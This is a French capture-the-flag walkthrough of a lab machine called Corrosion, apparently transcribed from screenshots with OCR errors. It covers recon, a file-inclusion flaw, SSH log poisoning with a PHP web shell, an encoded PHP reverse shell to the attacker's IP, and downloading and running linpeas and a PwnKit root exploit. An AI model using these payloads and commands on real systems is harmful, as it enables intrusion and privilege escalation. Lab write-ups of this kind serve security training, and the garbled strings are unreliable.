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Reconnaisance

Découverte de I'hote

J'ai commencé par chercher la machine sur le réseau avec netdiscover :

sudo netdiscover -r 192.168.0.0/24

- Machine identifiée : 192.168.0.18 (GO PCS Systemtechnik GmbH)

Enumération des ports

Ensuite j'ai lancé nmap pour voir les ports ouverts :

nmap -sC -sV -p- 192.168.0.18
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Résultats trouvés:

Port 22 : SSH (OpenSSH 8.4p1 Ubuntu)

Port 80 : HTTP (Apache 2.4.46)
Page HTML :

3@  Apache2 Ubuntu Default Pag X +

O @& 192.168.0.18

Apache2 Ubuntu Default Page

%_

This is the default welcome page used to test the correct operation of the Apache2 server after
installation on Ubuntu systems. It is based on the equivalent page on Debian, from which the Ubuntu
Apache packaging is derived. If you can read this page, it means that the Apache HTTP server installed
at this site is working properly. You should replace this file (located at /var/www/html/index.html)
before continuing to operate your HTTP server.

If you are a normal user of this web site and don't know what this page is about, this probably means
that the site is currently unavailable due to maintenance. If the problem persists, please contact the
site's administrator.

Ubuntu's Apache2 default configuration is different from the upstream default configuration, and split
into several files optimized for interaction with Ubuntu tools. The configuration system is fully
documented in /usr/share/doc/apache2/README.Debian.gz. Refer to this for the full
documentation. Documentation for the web server itself can be found by accessing the manual if the
apache2-doc package was installed on this server.

The configuration layout for an Apache2 web server installation on Ubuntu systems is as follows:

/etc/apacheZ/

|-- apache2.conf

i *-- ports.conf
| -- mods-enabled

! |-- *.load

! “-- * conf

|-- conf-enabled

! T-- * conf

|-- sites-enabled

! T-= * conf

« apache2.conf is the main configuration file. It puts the pieces together by including all remaining S




Tentative de connection en SSH

Enumération
Enumeération Web

J'ai utilisé gobuster pour trouver des dossiers cachés :

gobuster dir -u http://192.168.0.18/ -w
/usr/share/wordlists/dirbuster/directory-1ist-2.3-medium.txt -x
php,html,txt -t 40

Exploration du site

Découvertes intéressantes :

/tasks = Fichier tasks todo.txt
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Refaire gobuster sur /tasks ne donne rien de plus.

Index of ftasks X 92.168.0.18/blog-post/

O A 192.168.0.18

ot

Index of /tasks

Name Last modified Size Description

«» Parent Directory ]
tasks todo.txt 2021-07-29 17:17 118

Apache/2.4.46 (Ubuntu) Server at 192.168.0.18 Port 80

= 192.168.0.18/tasks/tasks_to =
« = C O & 192.168.0.1
# Tasks that need to be completed

1. Change permissions for auth log

Dans /blog-post

192.168.0.18/blog-post/

O A 192.168.0.18

Welcome to my Blog!

This website is in development. Will be updated in the next couple Months! - randy



02.168.0.18/tasks/tasks_to % | Index of /[blog-post/archives X

~

O & 192.168.0.18

Index of /blog-post/archives

Name Last modified Size Description

«» Parent Directory -
@ randylogs.php  2021-07-29 17:20 140

Apache/2.4.46 (Ubuntu) Server at 192.168.0.18 Port 80

192.168.0.18/blog-post/farch x

Quand j'ai essayé d'y accéder directement, j'ai obtenu une page blanche.
C'est souvent un signe que :

Soit le script attend des parametres
Soit il y a des erreurs qui sont masquées

Exploitation du site
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Pour trouver les parametres potentiels, j'ai utilisé wfuzz :

wfuzz -c -w /usr/share/wordlists/dirb/big.txt --hw @ -u
http://192.168.0.18/blog-post/archives/randylogs.php?FUZZ=/etc/passwd

Cette commande :

Teste tous les mots du dictionnaire big.txt comme noms de parametres

Le paramétre prend comme valeur /etc/passwd (un test classique pour les LFI)

C'est a dire qu'on peut accéder aux fichiers avec le parametres file

/blog-post/arch %

b

root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:: sys /dev: /usr/sbm/nologm sync X:4:65534:sync:/bi il 0:games:/usr/games:/usr/sbin/

nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin 1p:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var; : bin/nol pool usr/shin/nologin uucp:x:10:10:uucp: /var/spool/uucp Jusr/
sbinjnologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www/bin/sh backup:x:34:34-backup:/var/backups: usr/sbin/nologin list:x:38:38:Mailing List Manager: var/list;/usr/sbin/nologin irc:x:39:39:ircd:/
run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:, lusr/shm/nolugm nobody:x:65534:65534: nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:100:102:systemd Network

Management,,,:/run/systemd:/usr/shin/nologin systemd-resolve:x:101:10: d Resolver, ,:/Tt d:/usr/sbin/nologin systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/shin/nologin
bus:x-103:106: istent: usr/sbin/nologin syslog:x:104:110::/home/syslog:fusr/sbin/nologin _apt:x105:65534::nonexistent:/ust/sbin/nologin tsswx:106:111:TPM software stack var/libtpm:/bin false uuidd:x:107:114::/run/
uuidd:/usr/shin/nologin tcpdump:x:108:115::/nonexistent:/usr/shin/nologin avahi-auteipd:x:109:117:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbi login usbmux:x:110 daemon,,,:/var/lib/usbmux:/usr/sbin/nologin

rtkit:x:111:118:RealtimeKit,,,:/proc:/usr/sbin/nologin dnsmasq:x:112:65534:dnsmasg,,,:/var/lib/misc:fusr/sbin/nologin avahl :x:113:120:Avahi mDNS daemon,,,:/run/avahi- daemon :fusr/sbin/nologin cups-pk-helper:x:114:121:user for
cups-pk-helper service,.,:/home/cups-pk-helper:fust/sbin/nologin speech-dispatcher:x: 1 15:29:Speech Dispatcher,,,: /run/speech-dispatcher:/binfalse kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,z/:/ust/sbin/nologin nm-
openvpn:x:117:122: NetworkManager OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin psie:x:118:123::/nonexistent:/bin/false sssd:x:119:124:SSSD system user,,;/var/lib/sss:/usr/sbin/nologin saned:x:120:126::/var/lib/saned:/
usr/sbin/nologin colord:x:121:127:colord colour management daemon,,,:/var/lib/colord:/usr/sbin/nologin geoclue:x:122:128::/var/lib/geoclue:/usr/sbin/nologin pulse:x:123:129:PulseAudio daemon,,,:/var/run/pulse:/usr/sbin/nologin
hplip:x:124:7:HPLIP system user,,,:/run/hplip:/bin/false gnome-initial-setup:x:125:65534::/run/gnome-initial-setup/:/bin/false gdm:x:126:131:Gnome Display Manager:/var/lib/gdm3:/bin/false randy:x:1000:1000:randy,,,:/home/randy:/
bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/ust/sbin/nologin sshd:x:127:65534::/run/sshd:/usr/sbin/nologin

Avec cette découverte, on va utiliser une LFI
On va voir si on peut accéder aux logs suivants de SSH car il était écrit dans Corrosion
1-20241111151431887.webp: "Change permissions for auth log"

Dans: /var/log/auth.log

authentlcanon fallures logname= uid=0 eu1d 0 tty=ssh ruser= rhost= 192 168 0 48 user= randy Nov 11 07: 48 55 corrosion sshd[2833] PAM
service(sshd) ignoring max retries; 6 > 3 Nov 11 07:48:55 corrosion sshd[2830]: error: maximum authentication attempts exceeded for randy from
192.168.0.48 port 42910 ssh2 [preauth] Nov 11 07:48:55 corrosion sshd[2830]: Disconnecting authenticating user randy 192.168.0.48 port 42910: Too
many authentication failures [preauth] Nov 11 07:48:55 corrosion sshd[2830]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh
ruser= rhost=192.168.0.48 user=randy Nov 11 07:48:55 corrosion sshd[2830]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 11 07:48:55 corrosion
sshd[2838]: error: maximum authentication attempts exceeded for randy from 192.168.0.48 port 42994 ssh2 [preauth] Nov 11 07:48:55 corrosion
sshd[2838]: Disconnecting authenticating user randy 192.168.0.48 port 42994: Too many authentication failures [preauth] Nov 11 07:48:55 corrosion
sshd[2838]: PAM 5 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=192.168.0.48 user=randy Nov 11 07:48:55 corrosion
sshd[2838]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 11 07:48:55 corrosion sshd[2824]: error: maximum authentication attempts exceeded for
randy from 192.168.0.48 port 42852 ssh2 [preauth] Nov 11 07:48:55 corrosion sshd[2824]: Disconnecting authenticating user randy 192.168.0.48 port
42852: Too many authentication failures [preauth] Nov 11 07:48:55 corrosion sshd[2824]: PAM 5 more authentication failures; logname= uid=0 euid=0
tty=ssh ruser= rhost=192.168.0.48 user=randy Nov 11 07:48:55 corrosion sshd[2824]: PAM service(sshd) ignoring max retries; 6 > 3 Nov 11 07:48:55
corrosion sshd[2834]: error: maximum authentication attempts exceeded for randy from 192.168.0.48 port 42964 ssh2 [preauth] Nov 11 07:48:55
corrosion sshd[2834]: Disconnecting authenticating user randy 192.168.0.48 port 42964: Too many authentication failures [preauth] Nov 11 07:48:55

Mon plan d'attaque était donc :

Tenter une connexion SSH avec du code PHP comme nom d'utilisateur
Ce code sera enregistré dans auth.log



Utiliser la LFI pour lire auth.log, ce qui fera exécuter mon code PHP
<?php system($_GET["cmd"]);?>"

— "executes the given command and outputs the result"

On va donc essayer de se connecter en ssh avec la commande php en tant que login
1van@parrot

J'ai donc décidé d'encoder le payload en base64 pour n'avoir que des caractéres
alphanumériques :

echo -n "<?php system($_GET["cmd"]);?>" | base64
# res: PD9waHAgc31zdGVtKFtjbWRdKTs/Pg==

Maintenant, grace a ¢a, toutes les commandes http://192.168.0.18/blog-
post/archives/randylogs.php?file=/var/log/auth.log&cmd=[COMMAND] seront

exéecuté
On va faire ainsi un reverse-shell en PHP a l'aide de cette outil
:https://weibell.github.io/reverse-shell-generator/

Step 1: Configuration Step 2: Listener Advanced
$ nc -lvnp 4242
IP 192.168.0.48 Port 4242 *1 ‘
Copy
Step 3: Reverse shell @ Advanced
Lua $ php%20-r%20'%24s0ck%3Dfsockopen (%22192.168. 0. 48%22%2C4242 ) %3Bexec (%22%2Fhin%2Fsh%20-
1%20%3C%263%20%3E%263%202%3E%263%22 ) %38’
Perl #1
Perl #2
PHP #1
PHP #2
Shell sh $ Encoding encodeURIComponent %

Voici I'URL compléte (ne pas oublier de I'encoder pour le mettre dans I'URL) :
http://192.168.0.18/blog-post/archives/randylogs.php?
file=/var/log/auth.log&cmd=php%20-
r%20%27%24sock%3Dfsockopen(%22192.168.0.48%22%2C4242)%3Bexec(%22%2Fbi
N%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
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http://192.168.0.18/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.48%22%2C4242)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
http://192.168.0.18/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.48%22%2C4242)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
http://192.168.0.18/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.48%22%2C4242)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27
http://192.168.0.18/blog-post/archives/randylogs.php?file=/var/log/auth.log&cmd=php%20-r%20%27%24sock%3Dfsockopen(%22192.168.0.48%22%2C4242)%3Bexec(%22%2Fbin%2Fsh%20-i%20%3C%263%20%3E%263%202%3E%263%22)%3B%27

Sur ma machine :

listening on

On voit bien qu'on est connecté avec le reverse shell a la machine !

Avec cette commande, on aura un meilleur shell

1

python3 -c 'import pty;pty.spawn("/bin/bash")

Elévation de privileges

Pour voir ce qu'on a sur cette machine, on va utiliser I'incroyable outil
Vu que python3 est disponible on va faire

cd /tmp

python3 -c 'import urllib.request;
urllib.request.urlretrieve("https://github.com/peass-ng/PEASS-
ng/releases/latest/download/linpeas.sh", "linpeas.sh")'

chmod +x ./linpeas.sh

./1linpeas.sh

Dans la catégorie Executing Linux Exploit Suggester, on va chercher des élévation de
privilege

On va tester celle-ci : PwnKit (CVE-2021-4034) qui se décrit comme : PwnKit: Local
Privilege Escalation Vulnerability (

‘a, manjaro

Je vais prendre le scriptici :

wget https://raw.githubusercontent.com/1ly4k/PwnKit/main/PwnKit
chmod +x PwnKit
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. /PwnKit

On voit directement qu'apres avoir exécuté le script, nous sommes devenu root
root@corrosion: /tmp# whoami

Youtube: https://waw

..............

Dans le dossier root j'ai trouvé le flag : 4NJSA99SD7922197D7S90PLAWE
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